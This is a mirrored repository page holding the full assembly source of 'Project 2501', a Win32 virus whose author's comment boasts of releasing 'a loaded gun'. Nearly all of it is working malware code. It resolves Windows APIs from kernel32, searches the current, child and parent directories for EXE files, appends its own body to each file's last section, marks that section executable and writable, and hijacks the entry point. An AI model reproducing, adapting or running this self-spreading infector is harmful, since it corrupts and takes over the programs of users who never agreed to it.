mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
579 lines
14 KiB
NASM
579 lines
14 KiB
NASM
comment *
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Name: Project 2501
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OS: Win32
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Coder Belial
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Heya ,
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this is my first Pe-infector.Wow ,a great feeling
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to have finished it.
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Credits go out to Lord Julus and BillyBelcebub ,because
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of their win32 tuturials.Without them ,i would never
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have finished this creation.It took me nearly a year to of reading
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to understand all the important aspects of Win32-Assembly.
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Greetings go out Wallo ,Raven and the whole Virus-channel on undernet.
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Also greetings to BillyBoy from Micro$oft.Thanx for your
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nice viriiparadise-OS.But not soooooo much bugs in future ,ok?
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I tested this virus only under Win98 ,so I dont know
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wether it works under WinME ,WinNT or Win95.But Im sure somebody will try
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it out.
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The Virus is a runtime exe infector.It infects all files
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in current dir and all his subdirectories.After this ,it makes
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one dotdot and infects new files and subdirs until it is
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in c:\ or five dotdots are done.The only payload my virus has
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is a directory on the desktop named "Project2501".It is
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created each run.Im thinking of putting a txtfile
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in this directory ,but I have no real motivation
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at the moment.A bedder payload is in progress.And
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a nice encryption ,I hope.If you think this virus
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may be a bit incomplete (no encryption and no kewl
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payload) than i have to say:
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With releasing this source i release a loaded
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gun.In the wrong hands ,it could be awful for some
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harmless user.So if I release guns I dont want to release
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"full-automatic-guns" .Thats for now
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BeLiAL
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*
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.586
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.model flat
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.data
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db 0
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db 'This is the first generation of project2501'
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.code
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start:
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call delta_setup
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delta_setup:
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pop ebp
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sub ebp,offset delta_setup
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get_those_apis:
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mov eax,dword ptr [esp]
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and eax,0ffff0000h
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mov ecx,0
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call find_mz_and_pe
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call find_all_apis
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Infection_part:
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mov byte ptr [ebp+dir_counter],0
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mov byte ptr [ebp+am_i_up],0
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mov eax,dword ptr [ebp+image_base]
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mov dword ptr [ebp+image_base2],eax
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mov eax,dword ptr [ebp+old_entry_point]
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mov dword ptr [ebp+old_entry_point2],eax
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call seek_and_destroy
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payload_part:
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call payload
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reanimation_part:
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cmp ebp,0
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je exit_here
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mov eax,dword ptr [ebp+image_base2]
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add eax,dword ptr [ebp+old_entry_point2]
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jmp eax
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exit_here:
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push 0
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call [ebp+ExitProcess]
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find_mz_and_pe proc
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add ecx,1
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cmp ecx,11
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je mz_not_found
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mov bx,word ptr [eax]
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cmp bx,'ZM'
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je find_the_pe
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sub eax,010000h
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jmp find_mz_and_pe
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find_the_pe:
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mov esi,eax
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mov ebx,dword ptr [eax+3ch]
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add eax,ebx
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mov bx,word ptr [eax]
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cmp bx,'EP'
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jne mz_not_found
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mov dword ptr [ebp+kernelbase],esi
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mov dword ptr [ebp+kernelpeheader],eax
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ret
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mz_not_found:
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jmp reanimation_part
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find_mz_and_pe endp
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find_apis proc
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pop esi
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pop eax
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mov dword ptr [ebp+apinameoffset],eax
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pop eax
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mov dword ptr [ebp+apilenght],eax
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pop eax
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mov dword ptr [ebp+putitthere],eax
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push esi
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mov eax,dword ptr [ebp+kernelpeheader]
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mov esi,dword ptr [eax+78h]
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add esi,dword ptr [ebp+kernelbase]
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add esi,1ch
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mov eax,dword ptr [esi]
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add eax,dword ptr [ebp+kernelbase]
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mov dword ptr [ebp+adress_table_VA],eax
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add esi,4
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mov eax,dword ptr [esi]
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add eax,dword ptr [ebp+kernelbase]
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mov dword ptr [ebp+name_table_VA],eax
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add esi,4
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mov eax,dword ptr [esi]
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add eax,dword ptr [ebp+kernelbase]
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mov dword ptr [ebp+ordinal_table_VA],eax
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mov esi,dword ptr [ebp+name_table_VA]
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mov dword ptr [ebp+apicounter],00000000h
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find_the_name:
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push esi
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mov eax,dword ptr [esi]
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add eax,dword ptr [ebp+kernelbase]
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mov esi,eax
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mov edi,dword ptr [ebp+apinameoffset]
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mov ecx,0
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mov cl,byte ptr [ebp+apilenght]
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cld
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rep cmpsb
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jz we_found_it
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pop esi
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add esi,4
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inc dword ptr [ebp+apicounter]
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jmp find_the_name
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we_found_it:
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pop esi ;taken from BillyBel
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mov eax,dword ptr [ebp+apicounter]
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shl eax,1
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add eax,dword ptr [ebp+ordinal_table_VA]
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mov esi,0
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xchg eax,esi
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lodsw
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shl eax,2
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add eax,dword ptr [ebp+adress_table_VA]
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mov esi,eax
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lodsd
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add eax,dword ptr [ebp+kernelbase]
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mov ecx,dword ptr [ebp+putitthere]
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mov dword ptr [ecx],eax
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ret
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find_apis endp
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find_all_apis proc
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lea eax,[ebp+offset ExitProcess]
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push eax
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push dword ptr [ebp+exitprocesslenght]
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lea eax,[ebp+offset _ExitProcess]
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push eax
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call find_apis
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lea eax,[ebp+offset FindFirstFileA]
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push eax
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push dword ptr [ebp+findfirstfilelenght]
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lea eax,[ebp+offset _FindFirstFileA]
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push eax
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call find_apis
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lea eax,[ebp+offset FindNextFileA]
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push eax
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push dword ptr [ebp+findnextfilelenght]
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lea eax,[ebp+offset _FindNextFileA]
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push eax
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call find_apis
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lea eax,[ebp+offset CreateFileA]
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push eax
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push dword ptr [ebp+createfilelenght]
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lea eax,[ebp+offset _CreateFileA]
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push eax
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call find_apis
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lea eax,[ebp+offset CloseHandle]
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push eax
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push dword ptr [ebp+closehandlelenght]
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lea eax,[ ebp+offset _CloseHandle]
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push eax
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call find_apis
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lea eax,[ebp+offset CreateFileMappingA]
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push eax
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push dword ptr [ebp+createfilemappinglenght]
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lea eax,[ebp+offset _CreateFileMappingA]
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push eax
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call find_apis
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lea eax,[ebp+offset MapViewOfFile]
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push eax
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push dword ptr [ebp+mapviewoffilelenght]
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lea eax,[ebp+offset _MapViewOfFile]
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push eax
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call find_apis
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lea eax,[ebp+offset UnmapViewOfFile]
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push eax
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push dword ptr [ebp+unmapviewoffilelenght]
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lea eax,[ebp+offset _UnmapViewOfFile]
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push eax
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call find_apis
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lea eax,[ebp+offset GetFileSize]
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push eax
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push dword ptr [ebp+getfilesizelenght]
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lea eax,[ebp+offset _GetFileSize]
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push eax
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call find_apis
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lea eax,[ebp+offset SetFilePointer]
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push eax
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push dword ptr [ebp+setfilepointerlenght]
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lea eax,[ebp+offset _SetFilePointer]
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push eax
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call find_apis
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lea eax,[ebp+offset SetEndOfFile]
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push eax
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push dword ptr [ebp+setendoffilelenght]
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lea eax,[ebp+offset _SetEndOfFile]
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push eax
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call find_apis
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lea eax,[ebp+offset SetCurrentDirectoryA]
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push eax
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push dword ptr [ebp+setcurrentdirectorylenght]
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lea eax,[ebp+offset _SetCurrentDirectoryA]
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push eax
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call find_apis
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lea eax,[ebp+offset CreateDirectoryA]
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push eax
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push dword ptr [ebp+createdirectorylenght]
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lea eax,[ebp+offset _CreateDirectoryA]
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push eax
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call find_apis
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ret
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find_all_apis endp
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seek_and_destroy proc
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find_first_file:
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mov byte ptr [ebp+infection_flag],0
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lea eax,[ebp+offset FindFileData]
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push eax
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lea eax,[ebp+offset tosearch]
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push eax
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call [ebp+FindFirstFileA]
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mov dword ptr [ebp+findfilehandle],eax
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inc eax
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jz no_files_left
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jmp open_the_file
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find_next_file:
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mov byte ptr [ebp+infection_flag],0
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lea eax,[ebp+offset FindFileData]
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push eax
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push dword ptr [ebp+findfilehandle]
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call [ebp+FindNextFileA]
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test eax,eax
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jz no_files_left
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open_the_file:
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push 0
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push 0
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push 3
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push 0
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push 1
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push 80000000h + 40000000h
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lea eax,[ebp+offset FindFileData.cFileName]
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push eax
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call [ebp+CreateFileA]
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cmp eax,0ffffffffh
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je find_next_file
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mov dword ptr [ebp+filehandle],eax
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push 0
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push dword ptr [ebp+filehandle]
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Call [ebp+GetFileSize]
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calculate_new_size:
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mov dword ptr [ebp+thefilesize],eax
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add eax,virus_end-start
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add eax,100
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now_make_file_mapping:
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push 0
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push eax
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push 0
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push 4
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push 0
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push dword ptr [ebp+filehandle]
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call [ebp+CreateFileMappingA]
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mov dword ptr [ebp+filemappinghandle],eax
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mov eax,dword ptr [ebp+thefilesize]
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add eax,virus_end-start
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add eax,100
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push eax
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push 0
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push 0
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push 2
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push dword ptr [ebp+filemappinghandle]
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call [ebp+MapViewOfFile]
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mov dword ptr [ebp+mapadress],eax
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cmp word ptr [eax],'ZM'
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jne search_another
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mov ebx,0
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mov bx,word ptr [eax+3ch]
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cmp word ptr [eax+ebx],'EP'
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jne search_another
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cmp word ptr [eax+38h],'AA'
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je search_another
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call infect_file
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search_another:
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cmp byte ptr [ebp+infection_flag],1
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je close_normal
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call close_not_normal
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close_normal:
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push dword ptr [ebp+mapadress]
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call [ebp+UnmapViewOfFile]
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push dword ptr [ebp+filemappinghandle]
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call [ebp+CloseHandle]
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push dword ptr [ebp+filehandle]
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call [ebp+CloseHandle]
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jmp find_next_file
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no_files_left:
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cmp byte ptr [ebp+am_i_up],1
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je go_down
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lea eax,[ebp+offset FindFileData]
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push eax
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lea eax,[ebp+offset allfiles]
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push eax
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call [ebp+FindFirstFileA]
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mov dword ptr [ebp+dir_search_handle],eax
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inc eax
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jz no_dirs_left
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cmp byte ptr [ebp+FindFileData.cFileName],'.'
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je find_next_dir
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jmp is_it_dir
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find_next_dir:
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lea eax,[ebp+offset FindFileData]
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push eax
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push dword ptr [ebp+dir_search_handle]
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call [ebp+FindNextFileA]
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test eax,eax
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jz no_dirs_left
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cmp byte ptr [ebp+FindFileData.cFileName],'.'
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je find_next_dir
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is_it_dir:
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cmp dword ptr [ebp+FindFileData.dwFileAttributes],10h
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je it_is_dir
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jmp find_next_dir
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it_is_dir:
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lea eax,[ebp+FindFileData.cFileName]
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push eax
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call [ebp+SetCurrentDirectoryA]
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mov byte ptr [ebp+am_i_up],1
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jmp find_first_file
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no_dirs_left:
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lea eax,[ebp+offset dotdot]
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push eax
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call [ebp+SetCurrentDirectoryA]
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add byte ptr [ebp+dir_counter],1
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cmp byte ptr [ebp+dir_counter],5
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je all_for_now
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mov byte ptr [ebp+am_i_up],0
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jmp find_first_file
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all_for_now:
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ret
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go_down:
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lea eax,[ebp+offset dotdot]
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push eax
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call [ebp+SetCurrentDirectoryA]
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mov byte ptr [ebp+am_i_up],0
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jmp find_next_dir
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seek_and_destroy endp
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close_not_normal proc
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push 0
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push 0
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push dword ptr [ebp+thefilesize]
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push dword ptr [ebp+filehandle]
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call [ebp+SetFilePointer]
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push dword ptr [ebp+filehandle]
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call [ebp+SetEndOfFile]
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ret
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close_not_normal endp
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infect_file proc
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mov byte ptr [ebp+infection_flag],1
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mov eax,dword ptr [ebp+mapadress]
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mov word ptr [eax+38h],'AA'
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mov edi,0
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mov di,word ptr [eax+3ch]
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add eax,edi ;peheader at eax
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mov dword ptr [ebp+peheader_offset],eax
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mov esi,dword ptr [eax+28h]
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mov dword ptr [ebp+old_entry_point],esi
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mov esi,dword ptr [eax+3ch]
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mov dword ptr [ebp+file_allign],esi
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mov esi,dword ptr [eax+34h]
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mov dword ptr [ebp+image_base],esi
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mov esi,eax
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go_to_last_section:
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mov ebx,dword ptr [esi+74h]
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shl ebx,3
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mov eax,0
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mov ax,word ptr [esi+6h]
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dec eax
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mov ecx,28h
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mul ecx
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add esi,78h
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add esi,ebx
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add esi,eax
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modify_it:
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or dword ptr [esi+24h],00000020h
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or dword ptr [esi+24h],20000000h
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or dword ptr [esi+24h],80000000h
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mov eax, [esi+10h] ;code taken from Lord Julus (im not good in math)
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mov dword ptr [ebp+old_raw_size],eax
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add dword ptr [esi+8h],(offset virus_end - offset start)
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mov eax,dword ptr [esi+8h]
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mov ecx,dword ptr [ebp+file_allign]
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div ecx
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mov ecx,dword ptr [ebp+file_allign]
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sub ecx,edx
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mov dword ptr [esi+10h],eax
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mov eax,dword ptr [esi+8h]
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add eax,dword ptr [esi+10h]
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mov dword ptr [esi+10h],eax
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mov dword ptr [ebp+new_raw_size],eax
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mov eax,dword ptr [esi+0ch]
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add eax,dword ptr [esi+8h]
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sub eax,(offset virus_end-offset start)
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mov dword ptr [ebp+new_entry],eax
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mov eax,dword ptr [ebp+old_raw_size]
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mov ebx,dword ptr [ebp+new_raw_size]
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sub ebx,eax
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mov dword ptr [ebp+inc_raw_size],ebx
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mov eax,dword ptr [esi+14h]
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add eax,dword ptr [ebp+new_raw_size]
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mov dword ptr [ebp+new_file_size],eax
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mov eax,dword ptr [esi+14h]
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add eax,dword ptr [esi+8]
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sub eax,(offset virus_end-offset start)
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add eax,dword ptr [ebp+mapadress]
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mov edi,eax
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lea esi,[ebp+offset start]
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mov ecx,(offset virus_end-offset start)
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rep movsb
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mov esi,dword ptr [ebp+peheader_offset]
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mov eax,dword ptr [ebp+new_entry]
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mov dword ptr [esi+28h],eax
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mov eax,dword ptr [ebp+inc_raw_size]
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add dword ptr [esi+50h],eax
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ret
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infect_file endp
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payload proc
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push 0
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lea eax,[ebp+offset dir_name]
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push eax
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call [ebp+CreateDirectoryA]
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ret
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payload endp
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new_file_size dd 0
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inc_raw_size dd 0
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new_entry dd 0
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new_raw_size dd 0
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old_raw_size dd 0
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file_allign dd 0
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peheader_offset dd 0
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image_base dd 0
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old_entry_point dd 0
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image_base2 dd 0
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old_entry_point2 dd 0
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kernelbase dd 0
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kernelpeheader dd 0
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adress_table_VA dd 0
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name_table_VA dd 0
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ordinal_table_VA dd 0
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apicounter dd 00000000h
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apinameoffset dd 0
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apilenght dd 0
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putitthere dd 0
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ExitProcess dd 00000000h
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_ExitProcess db 'ExitProcess',0
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exitprocesslenght dd 12
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FindFirstFileA dd 00000000h
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_FindFirstFileA db 'FindFirstFileA',0
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findfirstfilelenght dd 15
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FindNextFileA dd 00000000h
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|
_FindNextFileA db 'FindNextFileA',0
|
|
findnextfilelenght dd 14
|
|
CreateFileA dd 00000000h
|
|
_CreateFileA db 'CreateFileA',0
|
|
createfilelenght dd 12
|
|
CloseHandle dd 00000000h
|
|
_CloseHandle db 'CloseHandle',0
|
|
closehandlelenght dd 12
|
|
CreateFileMappingA dd 00000000h
|
|
_CreateFileMappingA db 'CreateFileMappingA',0
|
|
createfilemappinglenght dd 19
|
|
MapViewOfFile dd 00000000h
|
|
_MapViewOfFile db 'MapViewOfFile',0
|
|
mapviewoffilelenght db 14
|
|
UnmapViewOfFile dd 00000000h
|
|
_UnmapViewOfFile db 'UnmapViewOfFile',0
|
|
unmapviewoffilelenght dd 16
|
|
GetFileSize dd 00000000h
|
|
_GetFileSize db 'GetFileSize',0
|
|
getfilesizelenght dd 12
|
|
SetEndOfFile dd 00000000h
|
|
_SetEndOfFile db 'SetEndOfFile',0
|
|
setendoffilelenght dd 13
|
|
SetFilePointer dd 00000000h
|
|
_SetFilePointer db 'SetFilePointer',0
|
|
setfilepointerlenght dd 15
|
|
SetCurrentDirectoryA dd 0
|
|
_SetCurrentDirectoryA db 'SetCurrentDirectoryA',0
|
|
setcurrentdirectorylenght dd 21
|
|
CreateDirectoryA dd 0
|
|
_CreateDirectoryA db 'CreateDirectoryA',0
|
|
createdirectorylenght dd 17
|
|
|
|
mapadress dd 0
|
|
infection_flag db 0
|
|
|
|
tosearch db '*.EXE',0
|
|
findfilehandle dd 0
|
|
filehandle dd 0
|
|
thefilesize dd 0
|
|
filemappinghandle dd 0
|
|
credit db 'Project2501 was coded by BeLiAL'
|
|
db 'Greetings to a nice girl from scandinavia'
|
|
dotdot db '..',0
|
|
allfiles db '*.*',0
|
|
dir_search_handle dd 0
|
|
am_i_up db 0
|
|
dir_name db 'c:\windows\desktop\Project2501',0
|
|
dir_counter db 0
|
|
|
|
MAX_PATH EQU 260
|
|
FILETIME struct
|
|
dwLowDateTime DWORD ?
|
|
dwHighDateTime DWORD ?
|
|
FILETIME ends
|
|
WIN32_FIND_DATA struct
|
|
dwFileAttributes DWORD ?
|
|
ftCreationTime FILETIME <>
|
|
ftLastAccessTime FILETIME <>
|
|
ftLastWriteTime FILETIME <>
|
|
nFileSizeHigh DWORD ?
|
|
nFileSizeLow DWORD ?
|
|
dwReserved0 DWORD ?
|
|
dwReserved1 DWORD ?
|
|
cFileName BYTE MAX_PATH dup(?)
|
|
cAlternate BYTE 0eh dup(?)
|
|
ends
|
|
FindFileData WIN32_FIND_DATA <>
|
|
|
|
virus_end:
|
|
end start
|
|
|